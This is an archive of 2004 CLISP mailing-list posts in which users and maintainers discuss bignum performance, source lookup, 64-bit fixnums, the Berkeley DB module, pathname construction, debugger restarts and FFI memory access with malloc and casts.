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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-07-28 19:53:38 -0700]:
>
> --- Sam Steingold wrote:
>
>> 
>> So the code operates in fixed stack space but it has to cons up some
>> bignums.
>
> Does this mean that the output of times is not the
> actual maximum memory that is used by the function?

both EXT:TIMES and TIME print the total memory allocated.
(not the maximum memory used)

>> Note that
>> 
>>      (integer-length 294475592320) ==> 39
>> 
>> i.e. 32-bit integers are insufficient to perform the
>> above calculations
>> (contrary to http://acm.uva.es/p/v1/100.html).
>
> So the performance problem is purely due to BIGNUM allocation?

no, it's not just allocations, it's also calculations.

the larger the numbers, the longer the cycle and the more expensive is
the cycle-length computation because bignum operations are more
expensive for larger bignums.


> I suppose then the code will run very fast on a machine with 64 bit
> integers.

as long as everything fits into fixnums, performance is better.
unfortunately, even on a 64 bit machine, fixnums are rarely large
(32 bits on CLISP right now, see
<https://sourceforge.net/tracker/?func=detail&atid=351355&aid=999750&group_id=1355>).


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--- Sam Steingold wrote:

> > * Elvin Peterson <ryiva_crgrefba@lnubb.pbz>
> 
> >> Note that
> >> 
> >>      (integer-length 294475592320) ==> 39
> >> 
> >> i.e. 32-bit integers are insufficient to perform
> the
> >> above calculations
> >> (contrary to http://acm.uva.es/p/v1/100.html).
> >
> > So the performance problem is purely due to BIGNUM
> allocation?
> 
> no, it's not just allocations, it's also
> calculations.
> 
> the larger the numbers, the longer the cycle and the
> more expensive is
> the cycle-length computation because bignum
> operations are more
> expensive for larger bignums.
> 
> 
> > I suppose then the code will run very fast on a
> machine with 64 bit
> > integers.
> 
> as long as everything fits into fixnums, performance
> is better.
> unfortunately, even on a 64 bit machine, fixnums are
> rarely large
> (32 bits on CLISP right now, see

Looks like it will take a lot of effort to implement
64 bit in clisp.  But it may be a long time before
systems are 64 bit by default (I know several Solaris
installations which are still 32 bit, lowest common
denominator and everything).

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Hello,
  Is it possible to get the system function source in
clisp as in emacs?  I know that the function
"function" lists the source if it is not compiled
already.  Is it possible to prepare a binary which has
this property?

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--- Edi Weitz wrote:

> On Thu, 29 Jul 2004 06:35:56 +0200, Pascal
> J.Bourguignon wrote:
> 
> > Do you believe that max_cycle_len(1,1000000) would
> take only 0
> > second in C? (While still giving you correct
> results on a 32bit
> > processor?)
> 
> You can try yourself:
> 
>  
>
<http://online-judge.uva.es/problemset/data/p100.c.html>
> 
> Of course, it doesn't complete in 0.0 seconds - I
> killed the program
> after it had consumed 100% of my CPU (PIII 1200) for
> about five
> minutes. And of course, as Sam Steingold has pointed
> out, this
> "solution" fails miserably as soon as the numbers
> involved don't fit
> into 32 bits anymore while a Lisp program will yield
> correct results.

Ack!  If you can't trust a random site on the
Internet, who can you trust?  However, in their
results page, they had the top 20 people finishing
with time 0.00.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> as long as everything fits into fixnums, performance is better.
    Sam> unfortunately, even on a 64 bit machine, fixnums are rarely large
    Sam> (32 bits on CLISP right now, see
    Sam> <https://sourceforge.net/tracker/?func=detail&atid=351355&aid=999750&group_id=1355>).

Do you mean running a 32-bit lisp on a 64-bit machine?  Then yes,
you're right.  But a 64-bit lisp on a 64-bit machine would presumably
have fixnum that are close to 60 bits in length.  I'm pretty sure that
64-bit ACL uses 60-bit fixnums.  I suspect cmucl and sbcl will have
60-bit fixnums if the amd64 port ever gets done.

Ray



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Elvin Peterson writes:
> Hello,
>   Is it possible to get the system function source in
> clisp as in emacs?  

Of course. Just check /usr/local/src/clisp-2.33.2/src/*.d

> I know that the function
> "function" lists the source if it is not compiled
> already.  

Actually, it's FUNCTION-LAMBDA-EXPRESSION. But this is an
implementation dependant feature and DISASSEMBLE too, for compiled
functions.


> Is it possible to prepare a binary which has
> this property?

Yes.  You could use an image where you've patched LOAD, COMPILE,
DEFUN, DEFMACRO and others  to make sure to keep the source lambda
expression in core, and in which you would have loaded the source of
the primitives (all these *.d files in /usr/local/src/clisp-2.33.2/src/),
along with a couple of functions to index and browse these sources.


But, emacs is an editor, clisp is not. It could be worthwhile to
incorporate an editor in clisp, I agree. Have a look at Portable
Hemlock (phemlock). http://www.stud.uni-karlsruhe.de/~unk6/hemlock/

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>>>>> "Elvin" == Elvin Peterson <elvin_peterson@yahoo.com> writes:

    Elvin> Looks like it will take a lot of effort to implement
    Elvin> 64 bit in clisp.  But it may be a long time before
    Elvin> systems are 64 bit by default (I know several Solaris
    Elvin> installations which are still 32 bit, lowest common
    Elvin> denominator and everything).

What kind of Sun machines are they running?  Ultra 2 slower than 170
MHz?  Or maybe they're still running Solaris 2.5?  All Ultra machines
are 64-bit, but I don't think Solaris became 64-bit until 2.6 or 2.7.
(Could be wrong, though.)

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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-07-29 07:46:13 -0700]:
>
>   Is it possible to get the system function source in
> clisp as in emacs?  I know that the function
> "function" lists the source if it is not compiled
> already.  Is it possible to prepare a binary which has
> this property?

this would be an enormous image bloat for little gain
(poor formatting, no comments &c).
get the sources and use emacs tags.

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--- Raymond Toy <raymond.toy@ericsson.com> wrote:

> >>>>> "Elvin" == Elvin Peterson
> <elvin_peterson@yahoo.com> writes:
> 
>     Elvin> Looks like it will take a lot of effort
> to implement
>     Elvin> 64 bit in clisp.  But it may be a long
> time before
>     Elvin> systems are 64 bit by default (I know
> several Solaris
>     Elvin> installations which are still 32 bit,
> lowest common
>     Elvin> denominator and everything).
> 
> What kind of Sun machines are they running?  Ultra 2
> slower than 170
> MHz?  Or maybe they're still running Solaris 2.5? 
> All Ultra machines
> are 64-bit, but I don't think Solaris became 64-bit
> until 2.6 or 2.7.
> (Could be wrong, though.)

Only a few of them were older OSes, but going 64 bit
would cause a lot of administrative overhead with the
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>>>>> "Elvin" == Elvin Peterson <elvin_peterson@yahoo.com> writes:

    Elvin> Only a few of them were older OSes, but going 64 bit
    Elvin> would cause a lot of administrative overhead with the
    Elvin> binaries (on NFS) for different machines.

Don't see how that follows.  I only run 32-bit apps on the 64-bit Sun
boxes at work.  I have no need for 64-bit apps, and I don't we have
any anywhere either. :-)

But this no longer has anything to do with clisp, so....

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-07-29 07:46:13 -0700]:
    >> 
    >> Is it possible to get the system function source in
    >> clisp as in emacs?  I know that the function
    >> "function" lists the source if it is not compiled
    >> already.  Is it possible to prepare a binary which has
    >> this property?

    Sam> this would be an enormous image bloat for little gain
    Sam> (poor formatting, no comments &c).
    Sam> get the sources and use emacs tags.

Note, however, that cmucl and sbcl stores the source file and the form
number as debug information.  This allows the debugger to show the
actual form in the backtrace.  It also allows slime to jump directly
to the form when you ask it to.

This is very, very nice.

Ray



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On Thu, 29 Jul 2004 07:53:03 -0700 (PDT), Elvin Peterson <elvin_peterson@yahoo.com> wrote:

> Ack!  If you can't trust a random site on the Internet, who can you
> trust?  However, in their results page, they had the top 20 people
> finishing with time 0.00.

To make this clear: The C program took more than five minutes for the
input that you proposed. That doesn't mean it couldn't perform in 0.0
seconds for other input. I think the contest site only posted the
timing results but not the input that was used.

Edi.


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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2004-07-29 13:00:10 -0400]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     >> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-07-29 07:46:13 -0700]:
>     >> 
>     >> Is it possible to get the system function source in
>     >> clisp as in emacs?  I know that the function
>     >> "function" lists the source if it is not compiled
>     >> already.  Is it possible to prepare a binary which has
>     >> this property?
>
>     Sam> this would be an enormous image bloat for little gain
>     Sam> (poor formatting, no comments &c).
>     Sam> get the sources and use emacs tags.
>
> Note, however, that cmucl and sbcl stores the source file and the form
> number as debug information.  This allows the debugger to show the
> actual form in the backtrace.  It also allows slime to jump directly
> to the form when you ask it to.

CLISP also stores the file name. (documentation 'foo 'sys::file) or something

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2004-07-29 13:00:10 -0400]:
    >> Note, however, that cmucl and sbcl stores the source file and the form
    >> number as debug information.  This allows the debugger to show the
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    >> to the form when you ask it to.

    Sam> CLISP also stores the file name. (documentation 'foo 'sys::file) or something

What about the form?  Getting the file is good, but the form is what
makes it nice in the debugger, and especially nice in slime.

Ray



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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2004-07-30 09:45:12 -0400]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2004-07-29 13:00:10 -0400]:
>     >> Note, however, that cmucl and sbcl stores the source file and the form
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>
>     Sam> CLISP also stores the file name. (documentation 'foo
>     Sam> 'sys::file) or something
>
> What about the form?  Getting the file is good, but the form is what
> makes it nice in the debugger, and especially nice in slime.

this is problematic: a single source form can produce several forms in
the FAS file.
I am not saying this is impossible, just that nobody volunteered to do
this and I don't use slime myself.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> this is problematic: a single source form can produce several forms in
    Sam> the FAS file.

I don't know how cmucl does it, but it seems to have only the actual
source form.  Thus, macros aren't expanded (I think), which is pretty
handy.

    Sam> I am not saying this is impossible, just that nobody volunteered to do
    Sam> this and I don't use slime myself.

Slime's not required.  I find it quite handy in the debugger itself.
The debugger can show the form where the error occurred, and the form
from the caller's, all the way up the stack.  And it can show the
surrounding forms as well.  

Anyway, I find it very useful.  A nice project, I suppose, for someone
who wants to dig into clisp.

Ray



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I've compiled CLISP from the sources distributed on sf.net (I can't get to 
cvs because of a company firewall) with the berkeley-db (among others) in a 
cygwin environment. 

clisp -K full --version
GNU CLISP 2.33.2 (2004-06-02) (built 3299436836) (memory 3299437271)
Software: GNU C 3.3.1 (cygming special) ANSI C program
Features:
(SYSCALLS REGEXP POSTGRESQL BERKELEY-DB CLOS LOOP COMPILER CLISP ANSI-CL
COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES
SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN)
Installation directory: /usr/local/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) DUSU3500B31.us.ad.hertz.com [10.0.148.76] 

(bdb:db-version)
"Sleepycat Software: Berkeley DB 4.1.25: (September 20, 2003)" ;
4 ;
1 ;
25 

I'm trying to learn how to use this module, and here is what I have come up 
with: 

[1]> (setf dbe (bdb:env-create))
#<BDB::ENV :HANDLE #<FOREIGN-POINTER #x101AF738>>
[2]> (bdb:env-open dbe :home "/cygdrive/h/" :create t) 

[3]> (setf dbh (bdb:db-create dbe)) 

** - Continuable Error
FUNCALL: undefined function MKDB
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for (FDEFINITION 'MKDB).
USE-VALUE      :R2      You may input a value to be used instead of 
(FDEFINITION
'MKDB). 

Break 1 [4]> 

I don't seem to have everything installed correctly (mkdb is missing), or 
maybe I'm using this wrong. Here is the set of instructions I think should 
work for a minimal type test. (this is based on reading parts of :
http://www.sleepycat.com/docs/api_c/api_index.html and
http://www.podval.org/~sds/clisp/impnotes/modules.html#berkeley-db) 

(setf dbe (bdb:env-create))
(bdb:env-open dbe :home "/cygdrive/h/" :create t)
(setf dbh (bdb:db-create dbe))
(bdb:db-open dbh "mydb.db")
(bdb:db-close dbh)
(bdb:env-close dbe) 

Can anyone give me some pointers? 

Thanks
Jeff


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Date: Fri Jul 30 16:18:01 2004
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I don't understand this behavior: 

(setf *cust-name* "TOT")
(setf *cust-root* (pathname "c:/"))
(setf *cust-home-dir
 (merge-pathnames (make-pathname :directory '(:relative *cust-name*))
                   *cust-root*)) 

*** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE *CUST-NAME*) 

however 

(setf *cust-home-dir
 (merge-pathnames (make-pathname :directory '(:relative "TOT")) 
*cust-root*)) 

#P"/cygdrive/c/TOT/" 

The only difference (as far as I can tell) is the use of the literal string 
in the directory list (that works) and the variable (which doesn't). 

Is this a bug that should be reported, or am I doing something wrong? 

GNU CLISP 2.33.2 (2004-06-02) (built 3299436836) (memory 3299437271)
Software: GNU C 3.3.1 (cygming special) ANSI C program
Features:
(SYSCALLS REGEXP POSTGRESQL BERKELEY-DB CLOS LOOP COMPILER CLISP ANSI-CL
COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES
SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN)
Installation directory: /usr/local/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) DUSU3500B31.us.ad.hertz.com [10.0.148.76] 

(source compiled from distribution on sf.net -- not cvs since I can't get 
cvs from behind the company firewall) 

Thanks,
Jeff 



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wolfjb@bigfoot.com writes:
> I don't understand this behavior: 
> 
> (setf *cust-name* "TOT")
> (setf *cust-root* (pathname "c:/"))
> (setf *cust-home-dir
>  (merge-pathnames (make-pathname :directory '(:relative *cust-name*))
>                    *cust-root*)) 
> 
> *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE *CUST-NAME*) 
> 
> however 
> 
> (setf *cust-home-dir
>  (merge-pathnames (make-pathname :directory '(:relative "TOT")) 
> *cust-root*)) 
> 
> #P"/cygdrive/c/TOT/" 
> 
> The only difference (as far as I can tell) is the use of the literal string 
> in the directory list (that works) and the variable (which doesn't). 
> 
> Is this a bug that should be reported, or am I doing something wrong? 

You are doing something wrong.  MAKE-PATHNAME wants strings, not
symbols, or "variables" as you name it.

Why don't you give it what it wants?

(setf *cust-home-dir
  (merge-pathnames (make-pathname :directory (list :relative *cust-name*))
                    *cust-root*))

or:

(setf *cust-home-dir
  (merge-pathnames (make-pathname :directory `(:relative ,*cust-name*))
                    *cust-root*))

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Excuse me if I am being redundant, but I couldn't find a way to search
the archives. If I should be looking at a tutorial, please yell at me
and I will go away. :)

I am new to clisp, and the way it recovers from errors seems very
strange. For example, if I start the interpreter and input at the prompt
"(setq a a)", it tells me that the variable A has no value. Then it
gives me a couple of 'restarts' to choose from, with no indication of
how to choose them, or just tell it to forget about it so that I can
input a completely different statement.

How do I choose one of the options? How do I tell it to ignore that
statement and continue with the session as if I never input the
statement?

--William Carrington



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On Sat, 31 Jul 2004 00:47:46 -0500, William Carrington <wcc@xavin.adhockery.net> wrote:

> Excuse me if I am being redundant, but I couldn't find a way to
> search the archives. If I should be looking at a tutorial, please
> yell at me and I will go away. :)
>
> I am new to clisp, and the way it recovers from errors seems very
> strange. For example, if I start the interpreter and input at the
> prompt "(setq a a)", it tells me that the variable A has no
> value. Then it gives me a couple of 'restarts' to choose from, with
> no indication of how to choose them, or just tell it to forget about
> it so that I can input a completely different statement.
>
> How do I choose one of the options? How do I tell it to ignore that
> statement and continue with the session as if I never input the
> statement?

Just type in the name of the restart or its abbreviation.

  [1]> (setq a a)

  *** - EVAL: variable A has no value
  The following restarts are available:
  STORE-VALUE    :R1      You may input a new value for A.
  USE-VALUE      :R2      You may input a value to be used instead of A.

  Break 1 [2]> :r1

  New A: 42
  42
  [3]> (setq b b)

  *** - EVAL: variable B has no value
  The following restarts are available:
  STORE-VALUE    :R1      You may input a new value for B.
  USE-VALUE      :R2      You may input a value to be used instead of B.

  Break 1 [4]> store-value

  New B: 43
  43
  [5]> 

You can also type "help" or "?" if you're in the debugger. If you just
want to abort type ":a" (or ":q" to go to the top-level in case you're
several levels deep into the debugger).

The Lisp way of dealing with errors (this is not particular to CLISP
the implementation but a general feature of Common Lisp the language)
may seem strange if you're accustomed to C-like languages but it's
actually very powerful. See

  <http://www.gigamonkeys.com/book/beyond-exception-handling-conditions-and-restarts.html>

for a good explanation.

HTH,
Edi.


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> *  <jbyswo@ovtsbbg.pbz> [2004-07-30 17:16:29 -0500]:
>
> I've compiled CLISP from the sources distributed on sf.net (I can't
> get to cvs because of a company firewall) with the berkeley-db (among
> others) in a cygwin environment.

berkeley-db in the release is incomplete and buggy.
cvs head is better.
I just built it for you, get the binary from
<http://www.podval.org/~sds/clisp/clisp-2.33-cygwin-1.5.10.tar.bz2>
don't forget to review impnotes.

***WARNING***
this is work in progress in many respects.
don't bother to report bugs in _anything_ except berkeley-db.
(e.g., the barrage of warnings about function redefinitions &c)

> (setf dbe (bdb:env-create))
> (bdb:env-open dbe :home "/cygdrive/h/" :create t)
> (setf dbh (bdb:db-create dbe))
> (bdb:db-open dbh "mydb.db")
> (bdb:db-close dbh)
> (bdb:env-close dbe) 

WFM, just use "bdb:dbe-" instead of "bdb:env-"
and set *print-circle* to T

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Date: Sun Aug  1 11:26:03 2004
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I'm running in loops.

How can one get a "foreign variable" that seem so needed to FFI:CAST,
FFI:DEREF, etc, from a C-POINTER?

(FFI:DEF-CALL-OUT MALLOC
                  (:NAME "malloc")
                  (:ARGUMENTS (SIZE FFI:UINT32 :IN))
                  (:RETURN-TYPE FFI:C-POINTER)
                  (:LANGUAGE :STDC))
(setq m (malloc 4))

- How do I set a   FFI:UINT32 in the memory pointed to by M?
- How do I get the FFI:UINT32 pointed to by M?
- Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)?


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Date: Sun Aug  1 12:17:01 2004
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-01 20:25:00 +0200]:
>
> How can one get a "foreign variable" that seem so needed to FFI:CAST,
> FFI:DEREF, etc, from a C-POINTER?

<http://clisp.cons.org/impnotes/dffi.html#foreign-stack>
(FFI:WITH-FOREIGN-OBJECT (variable c-type  [initarg]) body)
(FFI:WITH-C-VAR (variable c-type [initarg]) body)

> (FFI:DEF-CALL-OUT MALLOC
>                   (:NAME "malloc")
>                   (:ARGUMENTS (SIZE FFI:UINT32 :IN))
>                   (:RETURN-TYPE FFI:C-POINTER)
>                   (:LANGUAGE :STDC))
> (setq m (malloc 4))

<http://clisp.cons.org/impnotes/dffi.html#foreign-heap>
(FFI:ALLOCATE-SHALLOW c-type  &KEY :COUNT :READ-ONLY)
(FFI:ALLOCATE-DEEP c-type contents &KEY :COUNT :READ-ONLY)
(FFI:FOREIGN-FREE foreign-entity &KEY :FULL)
(FFI:FOREIGN-ALLOCATE c-type-internal &KEY :INITIAL-CONTENTS :COUNT :READ-ONLY)


> - How do I set a   FFI:UINT32 in the memory pointed to by M?
> - How do I get the FFI:UINT32 pointed to by M?
> - Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)?

Joerg is the authority here...


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Date: Sun Aug  1 18:57:01 2004
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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-01 20:25:00 +0200]:
> >
> > How can one get a "foreign variable" that seem so needed to FFI:CAST,
> > FFI:DEREF, etc, from a C-POINTER?
> 
> <http://clisp.cons.org/impnotes/dffi.html#foreign-stack>
> (FFI:WITH-FOREIGN-OBJECT (variable c-type  [initarg]) body)
> (FFI:WITH-C-VAR (variable c-type [initarg]) body)
> 
> > (FFI:DEF-CALL-OUT MALLOC
> >                   (:NAME "malloc")
> >                   (:ARGUMENTS (SIZE FFI:UINT32 :IN))
> >                   (:RETURN-TYPE FFI:C-POINTER)
> >                   (:LANGUAGE :STDC))
> > (setq m (malloc 4))
> 
> <http://clisp.cons.org/impnotes/dffi.html#foreign-heap>
> (FFI:ALLOCATE-SHALLOW c-type  &KEY :COUNT :READ-ONLY)
> (FFI:ALLOCATE-DEEP c-type contents &KEY :COUNT :READ-ONLY)
> (FFI:FOREIGN-FREE foreign-entity &KEY :FULL)
> (FFI:FOREIGN-ALLOCATE c-type-internal &KEY :INITIAL-CONTENTS :COUNT :READ-ONLY)

But, there is a big problem with the stuff returned by
ALLOCATE-SHALLOW:

CL-USER> (setf a (ffi:allocate-shallow 'ffi:uchar :count 4))
#<FOREIGN-VARIABLE FFI:FOREIGN-ALLOCATE #x0820FEC8>
CL-USER> (ffi:cast (ffi:foreign-value a) 'ffi:uint32)
0
CL-USER> (setf (ffi:cast (ffi:foreign-value a) 'ffi:uint32) #16r12345678)
305419896

So far so good, but then:

#<FOREIGN-VARIABLE FFI:FOREIGN-ALLOCATE #x0820FEC8> cannot be converted to the foreign type FFI:UINT16
   [Condition of type SIMPLE-ERROR]

Restarts:
  0: [ABORT] Abort handling SLIME request.

Backtrace:
  0: frame binding variables (~ = dynamically):
  | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL
  1: EVAL frame for form (FFI::%CAST A (FFI:PARSE-C-TYPE 'FFI:UINT16))
  2: EVAL frame for form (FFI:FOREIGN-VALUE (FFI::%CAST A (FFI:PARSE-C-TYPE 'FFI:UINT16)))
  3: EVAL frame for form (FFI:CAST (FFI:FOREIGN-VALUE A) 'FFI:UINT16)
  4: EVAL frame for form (FORMAT T "~16R~%" (FFI:CAST (FFI:FOREIGN-VALUE A) 'FFI:UINT16))
  5: EVAL frame for form (SWANK:LISTENER-EVAL "(format t \"~16R~%\" (ffi:cast (ffi:foreign-value a) 'ffi:uint16))
")
  6: EVAL frame for form (SWANK:START-SERVER "/tmp/slime.30354")

That is, one cannot really type cast shallow-allocated object as in C.


While it still is possible to try to cast to an array covering the
whole "object", this won't be possible when then size of the wanted
type cast and the size of the "object" are not congurent!


> > - How do I set a   FFI:UINT32 in the memory pointed to by M?
> > - How do I get the FFI:UINT32 pointed to by M?
> > - Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)?
> 
> Joerg is the authority here...


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Hi,

CLISP obtained from CVS this morning builds ok on MacOS X Panther but
has one test failure in excepsit.erg:

   Form: (defun foo11 (x z) (list x y z))
   CORRECT: TYPE-ERROR
   CLISP: NIL

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this is known, thanks.
(reports about CVS head should go to clisp-devel)
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Date: Tue Aug  3 11:39:04 2004
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Hi,

First Pascal, I'm glad that you took the effort and started real code =
on this UFFI issue.

Some remarks / thoughts of mine:

o FFI:OFFSET 0 is your friend when you want to ignore size tests (I =
forgot about alignment behaviour).

o - How do I set a   FFI:UINT32 in the memory pointed to by M?
You need a #<foreign-variable>. All memory manipulations is via them.

o FFI:[:]FOREIGN-LIBRARY is your interface to dlopen() or MS-Windows =
LoadLibrary(). I believe it should be enough for UFFI.
Try to forget about directly interfacing to dlopen() or dlsym().

o please share your thoughts upon FOREIGN-POINTER vs. typed =
FOREIGN-VARIABLE objects. I was left under the impression that for =
UFFI, all functions with pointers (even strings) would have to be =
declared C-POINTER, so one would loose CLISP's ability to do conversion =
from e.g. Lisp strings internally, and everything would have to be done =
explicitly via
with-foreign-string or with-foreign-object.

o A critical point is that I don't know whether UFFI expects =
low-overhead switch for casts. In CLISP FFI:CAST is extremely expensive =
(quoted types could be done better).
Also, I haven't checked what UFFI implies w.r.t. the C-POINTER that you =
would have to use in function definitions and possible memory =
dereference when you want to access fields from pointers and you thus =
need foreign-variable objects.

That's why ffi:allocate-shallow yields a typed foreign-variable, =
whereas a UFFI:malloc interface can only yield a c-pointer.

o If you only need foreign-variable objects, then don't invoke malloc =
and friends (via allocate shallow).
A common way is to use WITH-FOREIGN... to get a foreign-variable =
object.

I think I once posted a FOREIGN-VARIABLE constructor hack code in Lisp. =
I believe a FOREIGN-VARIABLE and FOREIGN-FUNCTION constructor would be =
a useful addition. I didn't provide one because (of time and) I'm =
always hit by that internal/external parse-c-type foreign-pointer =
issues. The constructor must accept the internal type representation.

(with-c-var/foreign-object (x 'c-pointer (mymalloc))
  (cast ... 'ffi:uint)
Tell me if you're stuck and I'll provide code for a foreign-variable =
object with indefinite extent (remember SET-FOREIGN-BASE or whatever it =
got called).

o I didn't understand your SLIME backtrace.

o I really don't know whether using UFFI's interface CLISP can come out =
with efficient code. CAST etc. have a high penalty, whereas on =
native-code compilers they produce no-ops -- quite a difference.
But you probably want it to run first, then care about efficiency :-)

Regards,
	J=F6rg


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Elvin Peterson wrote:
>Only a few of them were older OSes, but going 64 bit
>would cause a lot of administrative overhead with the
>binaries (on NFS) for different machines.

Well, older admins gained a lot of experience in this area already and can share that. Not too long ago, typical UNIX zoos were much more heterogeneous. Yet a similar looking NFS structure for SunOS, Solaris, DEC and Linux was done in many places.

Now this appears again for 32bit/64, and will fade in a couple of years (all 64bit).

Being on Sun, you may want to investigate the automounter manpages.
The idea was different /bin/ and possibly lib/ directories mounted depending on the OS, whereas shared/ was precisely what it meant.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-08-03 20:37:48 +0200]:
>
> (with-c-var/foreign-object (x 'c-pointer (mymalloc))
>   (cast ... 'ffi:uint)

this will extract the value of the pointer, not the datum to which the
memory points too:

(let ((m (c-malloc 4)))
  (print m)
  (unwind-protect
       (with-c-var (p 'c-pointer m)
         (print (cast p 'uint32)))
    (c-free m)))
    
#<FOREIGN-ADDRESS #x003F6B98> 
4156312 
4156312

#x003F6B98 ==> 4156312

to extract the number you need

(let ((m (c-malloc 4)))
  (print m)
  (unwind-protect
       (with-c-var (p 'c-pointer m)
         (print (cast p '(c-ptr uint32))))
    (c-free m)))

still, this is just access.  how does one _write_ to the memory returned
by malloc?

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-08-03 20:37:48 +0200]:
>
>
> (with-c-var/foreign-object (x 'c-pointer (mymalloc))
>   (cast ... 'ffi:uint)

(let ((m (c-malloc 4)) ret)
  (unwind-protect
       (progn
         (with-c-var (i '(c-ptr uint32) m)
           (with-c-var (v '(c-ptr (c-array uint8 4)) m)
             (setq i 0)
             (push v ret)
             (setq i (1- (ash 1 32)))
             (push v ret)))
         (nreverse ret))
    (c-free m)))

*** - #<FOREIGN-ADDRESS #x003F6B98> cannot be converted to the foreign
       type UINT32

why uint32?! it's (c-ptr uint32)!

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Low priority, but for ANSI comformance, the LOOP macro should expect 
at least one compound form after FINALLY.

(loop for i from 1 to 10 finally return i)
is parsed and accepted as:
(loop for i from 1 to 10 finally (values) return i)
but it should be rejected.

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Sam wrote:
>still, this is just access.  how does one _write_ to the memory
> returned by malloc?
Use C-Places, i.e. SETF. It seems you found out by yourself.
Or use (SETF (FOREIGN-VALUE #<FOREIGN-VARIABLE> x) on the objects.

>(let ((m (c-malloc 4)) ret)
>  (unwind-protect
>       (progn
>         (with-c-var (i '(c-ptr uint32) m)
>           (with-c-var (v '(c-ptr (c-array uint8 4)) m)
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>       type UINT32
>why uint32?! it's (c-ptr uint32)!

There's maybe a misconception here. The initarg to with-c-var is subject to conversion from Lisp to a foreign representation. Maybe this should be made explicit in the documentation.
E.g. for with-c-var (i '(c-pointer uint32) initarg) you need to supply a Lisp integer. You gave a #<foreign-address> instead.

The Lisp view doesn't care about pointers, therefore an initarg for uint32, (c-ptr uint32) or (c-ptr (c-ptr uint32)) is always a single Lisp integer value of type (unsigned-byte 32).

You can achieve what you maybe wished for like this:
  (with-c-var (i '(c-ptr uint32))
    (setf (cast i 'c-pointer) m)
    ;; a #<foreign-address> or <foreign-variable> is a correct initarg for the c-pointer type.
    (print i)
    (foo i)
    (setf i (bar))

BTW, what are you trying to achieve?

BTW2, I just inspected
http://clisp.cons.org/impnotes/dffi.html
and found that it doesn't mention FOREIGN-VALUE
It's the setf'able function to get/set values pointed to by #<FOREIGN-VARIABLE> objects. More manipulations are available via WITH-C-PLACE.

Regards,
	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-08-05 12:09:31 +0200]:
>
>     (setf (cast i 'c-pointer) m)

OK, thanks.

(let ((m (c-malloc 4)) ret)
  (unwind-protect
       (with-c-var (v '(c-ptr (c-array uint8 4)))
         (setf (cast v 'c-pointer) m)
         (with-c-var (i '(c-ptr uint32))
           (setf (cast i 'c-pointer) m)
           (setq i 0)
           (push v ret)
           (setq i (1- (ash 1 32)))
           (push v ret)
           (setq v #A((unsigned-byte 8) (4) (1 2 3 4)))
           (push i ret))
         (nreverse ret))
    (c-free m)))
(#A((unsigned-byte 8) (4) (0 0 0 0))
 #A((unsigned-byte 8) (4) (255 255 255 255))
 ;; the following depends on endianness
 #.(+ (ash 4 24) (ash 3 16) (ash 2 8) 1))

since here we see that the answer depends on endianness,
I propose adding :LITTLE-ENDIAN or :BIG-ENDIAN to *FEATURES*.

> BTW, what are you trying to achieve?
Pascal asked this first.

> BTW2, I just inspected http://clisp.cons.org/impnotes/dffi.html and
> found that it doesn't mention FOREIGN-VALUE It's the setf'able
> function to get/set values pointed to by #<FOREIGN-VARIABLE>
> objects. More manipulations are available via WITH-C-PLACE.

when is FOREIGN-VALUE useful?  why is it exported?
i.e., i know that is it used behind the scenes in WITH-C-PLACE,
WITH-C-VAR, DEF-C-VAR, ELEMENT, DEREF, SLOT, CAST, OFFSET, C-VAR-OBJECT,
C-VAR-ADDRESS, TYPEOF, SIZEOF, BITSIZEOF, but when is it used standalone?

as for compile-time type parsing, why not use

(define-compiler-macro parse-c-type (typespec &optional (name nil) &whole form)
  (if (constantp typespec)
      (parse-c-type typespec name) ; parse at compile time
      form)) ; decline: parse at run time

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-04 19:20:12 +0200]:
>
> Low priority, but for ANSI comformance, the LOOP macro should expect 
> at least one compound form after FINALLY.
>
> (loop for i from 1 to 10 finally return i)
> is parsed and accepted as:
> (loop for i from 1 to 10 finally (values) return i)
> but it should be rejected.

actually, it is parsed as
(loop for i from 1 to 10 finally (return i))
but I see your point.


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Date: Thu Aug  5 07:46:13 2004
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Sam wrote:

>(let ((m (c-malloc 4)) ret)
>  (unwind-protect [...]
>    (c-free m)))
That's what WITH-... (the foreign stack allocators) are for.
I wouldn't want to review code with such a construct in it.
I hope it was just to setup an example?!?

